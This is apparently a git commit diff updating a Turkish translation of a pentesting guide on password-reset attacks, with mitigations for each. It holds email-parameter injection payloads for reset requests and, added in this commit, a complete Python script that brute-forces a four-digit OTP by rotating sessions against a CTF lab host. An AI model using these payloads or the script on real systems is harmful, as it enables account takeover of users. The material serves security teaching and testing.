Translated ['src/pentesting-web/reset-password.md'] to tr

This commit is contained in:
Translator 2025-04-13 14:42:48 +00:00
parent deb7f973cc
commit ebe5a61b4f

View File

@ -6,7 +6,7 @@
- HTTP referer başlığı, URL'de yer alıyorsa şifre sıfırlama tokenini sızdırabilir. Bu, bir kullanıcının şifre sıfırlama talep ettikten sonra üçüncü taraf bir web sitesi bağlantısına tıklaması durumunda gerçekleşebilir. - HTTP referer başlığı, URL'de yer alıyorsa şifre sıfırlama tokenini sızdırabilir. Bu, bir kullanıcının şifre sıfırlama talep ettikten sonra üçüncü taraf bir web sitesi bağlantısına tıklaması durumunda gerçekleşebilir.
- **Etkisi**: Cross-Site Request Forgery (CSRF) saldırıları aracılığıyla potansiyel hesap ele geçirme. - **Etkisi**: Cross-Site Request Forgery (CSRF) saldırıları aracılığıyla potansiyel hesap ele geçirme.
- **Sömürü**: Referer başlığında bir şifre sıfırlama tokeninin sızıp sızmadığını kontrol etmek için, **şifre sıfırlama talebi** yapın ve sağlanan **sıfırlama bağlantısına** tıklayın. **Şifrenizi hemen değiştirmeyin**. Bunun yerine, **Burp Suite kullanarak istekleri yakalarken** **üçüncü taraf bir web sitesine** (Facebook veya Twitter gibi) gidin. **Referer başlığının şifre sıfırlama tokenini içerip içermediğini** görmek için istekleri inceleyin, çünkü bu üçüncü taraflara hassas bilgileri açığa çıkarabilir. - **Sömürü**: Bir şifre sıfırlama tokeninin referer başlığında sızıp sızmadığını kontrol etmek için, **şifre sıfırlama talebi** yapın ve sağlanan **sıfırlama bağlantısına** tıklayın. **Şifrenizi hemen değiştirmeyin**. Bunun yerine, **Burp Suite kullanarak istekleri yakalarken** **üçüncü taraf bir web sitesine** (Facebook veya Twitter gibi) gidin. **Referer başlığının şifre sıfırlama tokenini içerip içermediğini** görmek için istekleri inceleyin, çünkü bu, hassas bilgilerin üçüncü taraflara ifşa olmasına neden olabilir.
- **Referanslar**: - **Referanslar**:
- [HackerOne Raporu 342693](https://hackerone.com/reports/342693) - [HackerOne Raporu 342693](https://hackerone.com/reports/342693)
- [HackerOne Raporu 272379](https://hackerone.com/reports/272379) - [HackerOne Raporu 272379](https://hackerone.com/reports/272379)
@ -15,19 +15,19 @@
## **Şifre Sıfırlama Zehirleme** ## **Şifre Sıfırlama Zehirleme**
- Saldırganlar, şifre sıfırlama talepleri sırasında Host başlığını manipüle ederek sıfırlama bağlantısını kötü niyetli bir siteye yönlendirebilir. - Saldırganlar, şifre sıfırlama talepleri sırasında Host başlığını manipüle ederek sıfırlama bağlantısını kötü niyetli bir siteye yönlendirebilir.
- **Etkisi**: Sıfırlama tokenlerini saldırganlara sızdırarak potansiyel hesap ele geçirmeye yol açar. - **Etkisi**: Sıfırlama tokenlerinin saldırganlara sızdırılması yoluyla potansiyel hesap ele geçirme.
- **Hafifletme Adımları**: - **Azaltma Adımları**:
- Host başlığını izin verilen alanların beyaz listesi ile doğrulayın. - Host başlığını izin verilen alanların beyaz listesi ile doğrulayın.
- Kesin URL'ler oluşturmak için güvenli, sunucu tarafı yöntemleri kullanın. - Kesin URL'ler oluşturmak için güvenli, sunucu tarafı yöntemleri kullanın.
- **Yaman**: `$_SERVER['SERVER_NAME']` kullanarak şifre sıfırlama URL'lerini oluşturun, `$_SERVER['HTTP_HOST']` yerine. - **Yaman**: `$_SERVER['SERVER_NAME']` kullanarak şifre sıfırlama URL'lerini oluşturun, `$_SERVER['HTTP_HOST']` yerine.
- **Referanslar**: - **Referanslar**:
- [Acunetix Şifre Sıfırlama Zehirleme Makalesi](https://www.acunetix.com/blog/articles/password-reset-poisoning/) - [Şifre Sıfırlama Zehirleme Üzerine Acunetix Makalesi](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **E-posta Parametresini Manipüle Ederek Şifre Sıfırlama** ## **E-posta Parametresini Manipüle Ederek Şifre Sıfırlama**
Saldırganlar, sıfırlama bağlantısını yönlendirmek için ek e-posta parametreleri ekleyerek şifre sıfırlama talebini manipüle edebilir. Saldırganlar, sıfırlama bağlantısını saptırmak için ek e-posta parametreleri ekleyerek şifre sıfırlama talebini manipüle edebilir.
- Saldırgan e-posta adresini ikinci parametre olarak & kullanarak ekleyin. - Saldırgan e-posta adresini ikinci parametre olarak & ile ekleyin.
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
@ -39,13 +39,13 @@ POST /resetPassword
[...] [...]
email=victim@email.com%20email=attacker@email.com email=victim@email.com%20email=attacker@email.com
``` ```
- Saldırgan e-posta adresini ikinci parametre olarak | kullanarak ekleyin - Saldırgan e-posta adresini ikinci parametre olarak | kullanarak ekleyin.
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
email=victim@email.com|email=attacker@email.com email=victim@email.com|email=attacker@email.com
``` ```
- Saldırgan e-posta adresini ikinci parametre olarak cc kullanarak ekleyin - Saldırgan e-posta adresini ikinci parametre olarak cc kullanarak ekleyin.
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
@ -86,7 +86,7 @@ POST /api/changepass
("form": {"email":"victim@email.tld","password":"12345678"}) ("form": {"email":"victim@email.tld","password":"12345678"})
``` ```
- **Azaltma Adımları**: - **Azaltma Adımları**:
- Katı parametre doğrulaması ve kimlik doğrulama kontrolleri sağlanmalıdır. - Sıkı parametre doğrulaması ve kimlik doğrulama kontrolleri sağlanmalıdır.
- Şüpheli etkinlikleri tespit etmek ve yanıt vermek için sağlam günlükleme ve izleme uygulayın. - Şüpheli etkinlikleri tespit etmek ve yanıt vermek için sağlam günlükleme ve izleme uygulayın.
- **Referans**: - **Referans**:
- [API Parametre Manipülasyonu ile Tam Hesap Ele Geçirme](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) - [API Parametre Manipülasyonu ile Tam Hesap Ele Geçirme](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
@ -100,11 +100,11 @@ POST /api/changepass
- **Referanslar**: - **Referanslar**:
- [HackerOne Raporu 280534](https://hackerone.com/reports/280534) - [HackerOne Raporu 280534](https://hackerone.com/reports/280534)
## **Şifre Sıfırlama Token'ının Nasıl Üretildiğini Bulma** ## **Şifre Sıfırlama Token'ının Nasıl Üretildiğini Bulun**
- Token üretimi arkasındaki desen veya yöntemi anlamak, token'ları tahmin etmeye veya brute-force yapmaya yol açabilir. Bazı seçenekler: - Token üretimi arkasındaki desen veya yöntemi anlamak, token'ları tahmin etmeye veya brute-force yapmaya yol açabilir. Bazı seçenekler:
- Zaman Damgasına Dayalı - Zaman Damgasına Dayalı
- Kullanıcı Kimliğine Dayalı - Kullanıcı ID'sine Dayalı
- Kullanıcının E-posta Adresine Dayalı - Kullanıcının E-posta Adresine Dayalı
- Ad ve Soyadına Dayalı - Ad ve Soyadına Dayalı
- Doğum Tarihine Dayalı - Doğum Tarihine Dayalı
@ -126,12 +126,12 @@ uuid-insecurities.md
- Rastgelelik için GUID sürüm 4 kullanın veya diğer sürümler için ek güvenlik önlemleri uygulayın. - Rastgelelik için GUID sürüm 4 kullanın veya diğer sürümler için ek güvenlik önlemleri uygulayın.
- **Araçlar**: GUID'leri analiz etmek ve oluşturmak için [guidtool](https://github.com/intruder-io/guidtool) kullanın. - **Araçlar**: GUID'leri analiz etmek ve oluşturmak için [guidtool](https://github.com/intruder-io/guidtool) kullanın.
## **Yanıt Manipülasyonu: Kötü Yanıtı İyi ile Değiştirme** ## **Yanıt Manipülasyonu: Kötü Yanıtı İyi Olanla Değiştir**
- Hata mesajlarını veya kısıtlamaları aşmak için HTTP yanıtlarını manipüle etme. - Hata mesajlarını veya kısıtlamaları aşmak için HTTP yanıtlarını manipüle etme.
- **Azaltma Adımları**: - **Azaltma Adımları**:
- Yanıt bütünlüğünü sağlamak için sunucu tarafı kontrolleri uygulayın. - Yanıt bütünlüğünü sağlamak için sunucu tarafı kontrolleri uygulayın.
- Adam ortası saldırılarını önlemek için HTTPS gibi güvenli iletişim kanalları kullanın. - Man-in-the-middle saldırılarını önlemek için HTTPS gibi güvenli iletişim kanalları kullanın.
- **Referans**: - **Referans**:
- [Canlı Hata Ödül Etkinliğinde Kritik Hata](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) - [Canlı Hata Ödül Etkinliğinde Kritik Hata](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
@ -139,32 +139,96 @@ uuid-insecurities.md
- Süresi dolmuş token'ların hala şifre sıfırlama için kullanılıp kullanılamayacağını test etme. - Süresi dolmuş token'ların hala şifre sıfırlama için kullanılıp kullanılamayacağını test etme.
- **Azaltma Adımları**: - **Azaltma Adımları**:
- Katı token süresi dolma politikaları uygulayın ve token süresini sunucu tarafında doğrulayın. - Sıkı token süresi dolma politikaları uygulayın ve token süresini sunucu tarafında doğrulayın.
## **Brute Force Şifre Sıfırlama Token'ı** ## **Brute Force Şifre Sıfırlama Token'ı**
- IP tabanlı hız sınırlamalarını aşmak için Burpsuite ve IP-Rotator gibi araçlar kullanarak sıfırlama token'ını brute-force yapma. - IP tabanlı hız sınırlamalarını aşmak için Burpsuite ve IP-Rotator gibi araçlar kullanarak sıfırlama token'ını brute-force yapma girişimi.
- **Azaltma Adımları**: - **Azaltma Adımları**:
- Sağlam hız sınırlama ve hesap kilitleme mekanizmaları uygulayın. - Sağlam hız sınırlama ve hesap kilitleme mekanizmaları uygulayın.
- Brute-force saldırılarını gösteren şüpheli etkinlikleri izleyin. - Brute-force saldırılarını gösteren şüpheli etkinlikleri izleyin.
## **Token'ınızı Kullanmayı Deneyin** ## **Token'ınızı Kullanmayı Deneyin**
- Bir saldırganın sıfırlama token'ının mağdurun e-posta adresi ile birlikte kullanılıp kullanılamayacağını test etme. - Saldırganın sıfırlama token'ının mağdurun e-posta adresi ile birlikte kullanılıp kullanılamayacağını test etme.
- **Azaltma Adımları**: - **Azaltma Adımları**:
- Token'ların kullanıcı oturumu veya diğer kullanıcıya özgü özelliklere bağlı olduğundan emin olun. - Token'ların kullanıcı oturumu veya diğer kullanıcıya özgü özelliklere bağlı olduğundan emin olun.
## **Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama** ## **Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama**
- Kullanıcı çıkış yaptığında veya şifresini sıfırladığında oturumların geçersiz kılındığından emin olma. - Kullanıcı çıkış yaptığında veya şifresini sıfırladığında oturumların geçersiz kılındığından emin olun.
- **Azaltma Adımları**: - **Azaltma Adımları**:
- Tüm oturumların çıkış veya şifre sıfırlama sırasında geçersiz kılındığından emin olmak için uygun oturum yönetimi uygulayın. - Tüm oturumların çıkış veya şifre sıfırlama sırasında geçersiz kılındığından emin olmak için uygun oturum yönetimi uygulayın.
## **Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama** ## **Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama**
- Sıfırlama token'larının geçersiz hale geldiği bir süresi olmalıdır. - Sıfırlama token'larının geçersiz hale geleceği bir son kullanma süresi olmalıdır.
- **Azaltma Adımları**: - **Azaltma Adımları**:
- Sıfırlama token'ları için makul bir süre belirleyin ve bunu sunucu tarafında sıkı bir şekilde uygulayın. - Sıfırlama token'ları için makul bir son kullanma süresi belirleyin ve bunu sunucu tarafında sıkı bir şekilde uygulayın.
## **Oturumunuzu Değiştirerek OTP Hız Sınırını Aşma**
- Web sitesi, yanlış OTP denemelerini izlemek için kullanıcı oturumunu kullanıyorsa ve OTP zayıfsa (<= 4 haneli), OTP'yi etkili bir şekilde brute-force yapabiliriz.
- **istismar**:
- Sunucu tarafından engellendikten sonra yeni bir oturum token'ı talep edin.
- **Örnek** kod, bu hatayı rastgele OTP tahmin ederek istismar eder (oturumu değiştirdiğinizde OTP de değişecektir, bu nedenle sıralı bir şekilde brute-force yapamayacağız!):
``` python
# Şifre sıfırlama ile kimlik doğrulama atlatma
# coderMohammed tarafından
import requests
import random
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"
parms = dict()
ter = 0
phpsessid = ""
print("[+] Saldırı başlatılıyor!")
sleep(3)
print("[+] Bu işlemin tamamlanması yaklaşık 5 dakika sürebilir!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # 0 - 9999 arası rastgele sayı
parms["s"] = 164 # önemsiz, sadece ön yüzü etkiler
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # deneme sayısını takip et
out = requests.get(logout,headers=headers) # çıkış yap
mainp = requests.get(root) # başka bir phpssid (token) alır
cookies = out.cookies # oturum kimliğini çıkar
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" # yeni oturum ile başlıkları güncelle
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # şifreyi değiştirmek için e-posta gönderir
ter = 0 # 8 denemeden sonra yeni bir oturum almak için ter'i sıfırla
else:
ter += 1
if(len(res.text) == 2292): # kurtarma kodunu doğru aldığınızda sayfanın uzunluğu (test ile elde edildi)
print(len(res.text)) # hata ayıklama bilgisi
print(phpsessid)
reset_data = { # burada şifreyi yeni bir şeyle değiştireceğiz
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] Şifre şu şekilde değiştirildi:D37djkamd!")
break
except Exception as e:
print("[+] Saldırı durduruldu")
```
## Referanslar ## Referanslar